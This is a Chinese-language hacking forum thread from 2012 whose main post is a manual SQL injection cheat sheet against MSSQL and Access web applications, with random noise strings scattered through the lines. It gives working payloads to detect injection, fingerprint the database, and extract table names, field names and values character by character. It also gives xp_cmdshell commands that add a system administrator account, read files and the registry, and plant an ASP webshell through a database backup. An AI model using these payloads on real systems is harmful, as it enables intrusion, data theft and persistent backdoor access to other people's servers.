找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2609|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 2 E) ^0 w' D7 x, e' x
1.判断是否有注入;and 1=1 ;and 1=2
7 ^# m1 n, c' q! h3 l! A
" P, {. k+ p5 c4 m) p2.初步判断是否是mssql ;and user>0
$ L! j. r( ?  q- D6 h9 ?! g" \, F+ x8 H8 F# K
3.注入参数是字符'and [查询条件] and ''='
' A0 F) z+ r; B; X% P0 q
9 O- v) b# a1 g. u8 ]% _* e% l4.搜索时没过滤参数的'and [查询条件] and '%25'=' ' e$ S! p  R+ I  W
; j/ A+ r5 E. w
5.判断数据库系统 2 @0 ]) {, v+ U  Z& s# l! F* ?9 O
;and (select count(*) from sysobjects)>0 mssql 8 W# y2 J6 R/ r& q
;and (select count(*) from msysobjects)>0 access 3 [" e2 m/ R" h1 y: T/ l

# n/ j  z" y% A" C6.猜数据库 ;and (select Count(*) from [数据库名])>0   F! c* C* p( O0 ^
* D( f! I) K' q5 }+ \4 f9 v
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
5 m! G9 h" j1 x  j! B5 X3 l/ a: `' \) S8 U' n
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ' X6 n: q& D# g- [
; a# m! n/ t6 o! B  v3 b4 Y
9.(1)猜字段的ascii值(access) - f- J. @  B8 s% \4 R
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ' h1 N1 b2 m. e

) o, l9 Z' Q$ o$ W) I(2)猜字段的ascii值(mssql)
2 T' u& Y& h4 m4 G8 h;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 [/ l& o# G) D1 j: z/ ]2 k" j
2 }! F! b  J* r. z10.测试权限结构(mssql) 0 ?* R" |1 g  S( \$ }
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
- `( t' r0 ~8 e# N# \7 b;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ o- W1 N5 u4 W9 T: {+ k, P* P0 S;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- . V, P5 ^+ n+ E5 y% o) i, S
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 9 o* }% L: ]1 d& |% W" W2 q
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
% \. k8 Y6 E4 K+ B/ X;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9 [6 Q0 e5 v% g) n/ m
;and 1=(select IS_MEMBER('db_owner'));--
4 U5 F+ E  \9 A" O* D8 I4 T2 F
* p! U  Q: W; ]3 A- x11.添加mssql和系统的帐户 8 ~& |7 a% x6 _$ L  n0 ]& e
;exec master.dbo.sp_addlogin username;--
3 K0 l8 D: k0 R4 P) W, ?0 @+ e% l. o, x6 x! B# S) }, `9 @
;exec master.dbo.sp_password null,username,password;-- ' T8 T  f6 k0 w/ L1 c7 d2 S
3 I* P+ p; U# v5 v0 e
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
1 r' @9 S, p+ p2 |! D
/ {4 J1 j  ]  U) d- ];exec master.dbo.xp_cmdshell 'net user username password
0 n1 J* c& j+ K+ {3 h, f7 F0 b( `/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
. n& {% @6 W- m+ `% J' C
9 V$ u# i" F, {0 e;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9 I7 c" t  J* {
8 ~% @( X3 d" h  J  q4 c) H
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2 ?( k! w, e1 J( Q" D

% W; x" V4 G6 A' f7 K12.(1)遍历目录 # k/ |0 s9 h9 ^3 C8 ]$ ~' {" \

6 u' Q! B! Y" c;create table dirs(paths varchar(100), id int) " b/ E, Q- O7 ^7 B; p0 I0 e
;insert dirs exec master.dbo.xp_dirtree 'c:\' " D. b6 S9 V5 J4 k4 J* ^
;and (select top 1 paths from dirs)>0
* ], a6 g- F+ \. X5 B% E4 v;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
* i. d' X) w0 E" d5 p0 \' \" v: F: p6 p- h) o0 ]
(2)遍历目录
( V3 W- [& N2 z- [1 D5 p;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
% I. p! s8 b5 R/ `0 W8 b- o;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 G5 _3 k: a' q$ l
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1 _( b4 w" i) A/ z" z3 S7 o
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
! y$ Q9 I8 q9 Q$ T1 };insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
' V4 R- |4 X/ i
8 p, G2 L9 ^- t: R. ^13.mssql中的存储过程
/ j# N) f7 _- D* T# Q3 z# |2 P. c5 E5 A6 J  m! M
xp_regenumvalues 注册表根键, 子键
( _- R: T8 m+ E& n;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
0 ]1 S. D) m; j! C3 n& o/ T6 [. l6 C3 h* `* D. H
xp_regread 根键,子键,键值名
/ z3 \7 ^" X( R( H& Q( O;exec xp_regread : ^; z. C' m. e
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
  [/ t# ]1 H3 j" E8 F( \  B
0 ~2 e$ {, Z' m6 o0 r# Qxp_regwrite 根键,子键, 值名, 值类型, 值 " }# x" D1 k5 ?0 J2 @. p( z
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
2 \  ~; N- j4 [/ W2 z! f- p;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
0 s2 K. W  A: R  A6 U) `5 V3 X' m; l- ^9 P# p1 s5 G; A0 {) k3 H
xp_regdeletevalue 根键,子键,值名
' u$ R% |, D3 }3 z4 c8 y5 _7 E" b
5 i; K% t6 C1 m% u" p8 Wexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
6 A. `6 x3 A5 b: n% y
: s3 i. D, x5 e* E0 l- T6 L% ~xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
, r0 C4 ^; o- c; e/ z5 m6 i, f  ~7 W3 X7 q, Q+ \
14.mssql的backup创建webshell   t6 n9 r! U; r, ~6 e+ n
use model * {* Y3 H( t, w2 |6 j6 j* a
create table cmd(str image);
0 a/ f5 G  T  z, P$ p: \insert into cmd(str) values ('');
0 `, M, w+ `; xbackup database model to disk='c:\l.asp'; + l( q+ F8 {( l0 I4 D

+ S6 _2 |; q7 [7 v. f15.mssql内置函数
) ]  N' `  c8 Z9 ]7 ~;and (select @@version)>0 获得Windows的版本号 7 ]2 n* E' \8 ~, k& k9 k
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' l( g, q1 k# U" D1 C) f;and (select user_name())>0 爆当前系统的连接用户
/ v' X) j6 }0 `;and (select db_name())>0 得到当前连接的数据库 0 J% T. h9 H& `, z

7 H; Z" h9 i7 n7 ~16.简洁的webshell 5 J/ e! k/ s) X6 l0 L0 o

9 }! K/ ], j+ H6 e7 yuse model 0 O* E& C, R* q2 e: w$ r
$ o' n6 P$ r% B- ^1 }7 w
create table cmd(str image); 2 p% `* ?( \" c2 Q/ D6 o
0 t/ A: E- o5 [+ v# E
insert into cmd(str) values ('');
% G% j8 r: K0 [$ K8 ?0 Q# L; S+ t: }2 f; l* `
backup database model to disk='g:\wwwtest\l.asp'; 4 L9 @% @. K) r! `+ y

/ N! o+ K9 w/ x, I4 r1 K
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表